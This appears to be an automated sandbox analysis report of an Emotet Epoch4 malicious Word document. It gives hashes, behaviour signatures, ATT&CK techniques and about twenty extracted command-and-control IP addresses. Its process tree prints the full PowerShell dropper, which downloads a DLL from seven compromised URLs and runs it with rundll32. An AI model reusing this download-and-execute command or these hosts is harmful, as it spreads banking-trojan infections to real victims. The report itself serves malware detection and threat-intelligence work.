emotet | 06012c700c1dac4c122303e920fdf1c71c41e681673c241c9698e5766df275a8

Analysis

max time kernel
144s
max time network
149s
platform
windows10_x64
resource
win10-en-20211014
submitted
17/11/2021, 08:29

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General

Target

emotet_e4_06012c700c1dac4c122303e920fdf1c71c41e681673c241c9698e5766df275a8_2021-11-17__082839023390._docm.doc
Size

140KB
MD5

391dca4cf91ae12aa1b5ac9d0ac3ec41
SHA1

47cfcf587d838f68a8f8df53ea3afae475436992
SHA256

06012c700c1dac4c122303e920fdf1c71c41e681673c241c9698e5766df275a8
SHA512

de299156048c8cb81fe9a5e839442347d118b9de47b353500647a73d4b97f010dcef6d6eb3c7ee9b04874010efd0b9f3b8790f8f9013a47271528eaed1be0c41

Score

10^/10

emotet epoch4 banker trojan

Malware Config

Extracted

Family

emotet

Botnet

Epoch4

91.200.186.228:443

191.252.196.221:8080

94.177.248.64:443

66.42.55.5:7080

103.8.26.103:8080

185.184.25.237:8080

103.8.26.102:8080

178.79.147.66:8080

58.227.42.236:80

45.118.135.203:7080

103.75.201.2:443

195.154.133.20:443

45.142.114.231:8080

212.237.5.209:443

207.38.84.195:8080

104.251.214.46:8080

212.237.17.99:8080

212.237.56.116:7080

216.158.226.206:443

110.232.117.186:8080

eck1.plain

ecs1.plain

Signatures

Emotet
Emotet is a trojan that is primarily spread through spam emails.
trojan banker emotet

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE is not expected to spawn this process	4964	4160	cmd.exe	67

Blocklisted process makes network request 44 IoCs

flow	pid	Process
27	2168	powershell.exe
34	2168	powershell.exe
36	2288	rundll32.exe
37	2288	rundll32.exe
38	2288	rundll32.exe
39	2288	rundll32.exe
44	2288	rundll32.exe
45	2288	rundll32.exe
46	2288	rundll32.exe
47	2288	rundll32.exe
48	2288	rundll32.exe
49	2288	rundll32.exe
50	2288	rundll32.exe
51	2288	rundll32.exe
52	2288	rundll32.exe
53	2288	rundll32.exe
58	2288	rundll32.exe
59	2288	rundll32.exe
60	2288	rundll32.exe
61	2288	rundll32.exe
62	2288	rundll32.exe
63	2288	rundll32.exe
64	2288	rundll32.exe
65	2288	rundll32.exe
66	2288	rundll32.exe
67	2288	rundll32.exe
68	2288	rundll32.exe
69	2288	rundll32.exe
70	2288	rundll32.exe
71	2288	rundll32.exe
72	2288	rundll32.exe
73	2288	rundll32.exe
74	2288	rundll32.exe
75	2288	rundll32.exe
76	2288	rundll32.exe
77	2288	rundll32.exe
78	2288	rundll32.exe
79	2288	rundll32.exe
80	2288	rundll32.exe
81	2288	rundll32.exe
82	2288	rundll32.exe
83	2288	rundll32.exe
84	2288	rundll32.exe
85	2288	rundll32.exe

Downloads MZ/PE file

Loads dropped DLL 2 IoCs

pid	Process
956	rundll32.exe
1988	rundll32.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\Satbnd\cucjohdllmtg.pfr	rundll32.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 2 IoCs

pid	Process
4160	WINWORD.EXE
4160	WINWORD.EXE

Suspicious behavior: EnumeratesProcesses 5 IoCs

pid	Process
2168	powershell.exe
2168	powershell.exe
2168	powershell.exe
2288	rundll32.exe
2288	rundll32.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2168	powershell.exe

Suspicious use of SetWindowsHookEx 17 IoCs

pid	Process
4160	WINWORD.EXE
4160	WINWORD.EXE
4160	WINWORD.EXE
4160	WINWORD.EXE
4160	WINWORD.EXE
4160	WINWORD.EXE
4160	WINWORD.EXE
4160	WINWORD.EXE
4160	WINWORD.EXE
4160	WINWORD.EXE
4160	WINWORD.EXE
4160	WINWORD.EXE
4160	WINWORD.EXE
4160	WINWORD.EXE
4160	WINWORD.EXE
4160	WINWORD.EXE
4160	WINWORD.EXE

Suspicious use of WriteProcessMemory 16 IoCs

description	pid	Process	procid_target
PID 4160 wrote to memory of 4964	4160	WINWORD.EXE	70
PID 4160 wrote to memory of 4964	4160	WINWORD.EXE	70
PID 4964 wrote to memory of 2168	4964	cmd.exe	72
PID 4964 wrote to memory of 2168	4964	cmd.exe	72
PID 2168 wrote to memory of 956	2168	powershell.exe	74
PID 2168 wrote to memory of 956	2168	powershell.exe	74
PID 2168 wrote to memory of 956	2168	powershell.exe	74
PID 956 wrote to memory of 1988	956	rundll32.exe	75
PID 956 wrote to memory of 1988	956	rundll32.exe	75
PID 956 wrote to memory of 1988	956	rundll32.exe	75
PID 1988 wrote to memory of 1612	1988	rundll32.exe	76
PID 1988 wrote to memory of 1612	1988	rundll32.exe	76
PID 1988 wrote to memory of 1612	1988	rundll32.exe	76
PID 1612 wrote to memory of 2288	1612	rundll32.exe	77
PID 1612 wrote to memory of 2288	1612	rundll32.exe	77
PID 1612 wrote to memory of 2288	1612	rundll32.exe	77

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\emotet_e4_06012c700c1dac4c122303e920fdf1c71c41e681673c241c9698e5766df275a8_2021-11-17__082839023390._docm.doc" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:4160
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c start /B powershell $dfkj="$strs=\"https://evgeniys.ru/sap-logs/D6/,http://crownadvertising.ca/wp-includes/OxiAACCoic/,https://cars-taxonomy.mywebartist.eu/-/BPCahsAFjwF/,http://immoinvest.com.br/blog_old/wp-admin/luoT/,https://yoho.love/wp-content/e4laFBDXIvYT6O/,https://www.168801.xyz/wp-content/6J3CV4meLxvZP/,https://www.pasionportufuturo.pe/wp-content/XUBS/\".Split(\",\");foreach($st in $strs){$r1=Get-Random;$r2=Get-Random;$tpth=\"C:\ProgramData\\\"+$r1+\".dll\";Invoke-WebRequest -Uri $st -OutFile $tpth;if(Test-Path $tpth){$fp=\"C:\Windows\SysWow64\rundll32.exe\";$a=$tpth+\",f\"+$r2;Start-Process $fp -ArgumentList $a;break;}};";IEX $dfkj
  2⤵
  - Process spawned unexpected child process
  - Suspicious use of WriteProcessMemory
  PID:4964
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell $dfkj="$strs=\"https://evgeniys.ru/sap-logs/D6/,http://crownadvertising.ca/wp-includes/OxiAACCoic/,https://cars-taxonomy.mywebartist.eu/-/BPCahsAFjwF/,http://immoinvest.com.br/blog_old/wp-admin/luoT/,https://yoho.love/wp-content/e4laFBDXIvYT6O/,https://www.168801.xyz/wp-content/6J3CV4meLxvZP/,https://www.pasionportufuturo.pe/wp-content/XUBS/\".Split(\",\");foreach($st in $strs){$r1=Get-Random;$r2=Get-Random;$tpth=\"C:\ProgramData\\\"+$r1+\".dll\";Invoke-WebRequest -Uri $st -OutFile $tpth;if(Test-Path $tpth){$fp=\"C:\Windows\SysWow64\rundll32.exe\";$a=$tpth+\",f\"+$r2;Start-Process $fp -ArgumentList $a;break;}};";IEX $dfkj
    3⤵
    - Blocklisted process makes network request
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:2168
  - - C:\Windows\SysWow64\rundll32.exe
      "C:\Windows\SysWow64\rundll32.exe" C:\ProgramData\2056454785.dll,f1404165493
      4⤵
      Loads dropped DLL
      Suspicious use of WriteProcessMemory
      PID:956
    - - C:\Windows\SysWOW64\rundll32.exe
        
        C:\Windows\SysWOW64\rundll32.exe "C:\ProgramData\2056454785.dll",Control_RunDLL
        5⤵
        Loads dropped DLL
        Drops file in System32 directory
        Suspicious use of WriteProcessMemory
        
        PID:1988
      - C:\Windows\SysWOW64\rundll32.exe
        
        C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Satbnd\cucjohdllmtg.pfr",tHDNhYOZCXyJr
        6⤵
        Suspicious use of WriteProcessMemory
        
        PID:1612
        
        C:\Windows\SysWOW64\rundll32.exe
        
        C:\Windows\SysWOW64\rundll32.exe "C:\Windows\System32\Satbnd\cucjohdllmtg.pfr",Control_RunDLL
        7⤵
        Blocklisted process makes network request
        Suspicious behavior: EnumeratesProcesses
        
        PID:2288

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/956-353-0x0000000010000000-0x0000000010028000-memory.dmp

Filesize
160KB

Download
memory/2168-276-0x00000189A1290000-0x00000189A1292000-memory.dmp

Filesize
8KB

Download
memory/2168-327-0x00000189A1298000-0x00000189A1299000-memory.dmp

Filesize
4KB

Download
memory/2168-277-0x00000189A1293000-0x00000189A1295000-memory.dmp

Filesize
8KB

Download
memory/2168-299-0x00000189A1296000-0x00000189A1298000-memory.dmp

Filesize
8KB

Download
memory/4160-122-0x000001EFC4250000-0x000001EFC4252000-memory.dmp

Filesize
8KB

Download
memory/4160-121-0x00007FFBF0C60000-0x00007FFBF0C70000-memory.dmp

Filesize
64KB

Download
memory/4160-120-0x000001EFC4250000-0x000001EFC4252000-memory.dmp

Filesize
8KB

Download
memory/4160-119-0x000001EFC4250000-0x000001EFC4252000-memory.dmp

Filesize
8KB

Download
memory/4160-118-0x00007FFBF0C60000-0x00007FFBF0C70000-memory.dmp

Filesize
64KB

Download
memory/4160-117-0x00007FFBF0C60000-0x00007FFBF0C70000-memory.dmp

Filesize
64KB

Download
memory/4160-116-0x00007FFBF0C60000-0x00007FFBF0C70000-memory.dmp

Filesize
64KB

Download
memory/4160-115-0x00007FFBF0C60000-0x00007FFBF0C70000-memory.dmp

Filesize
64KB

Download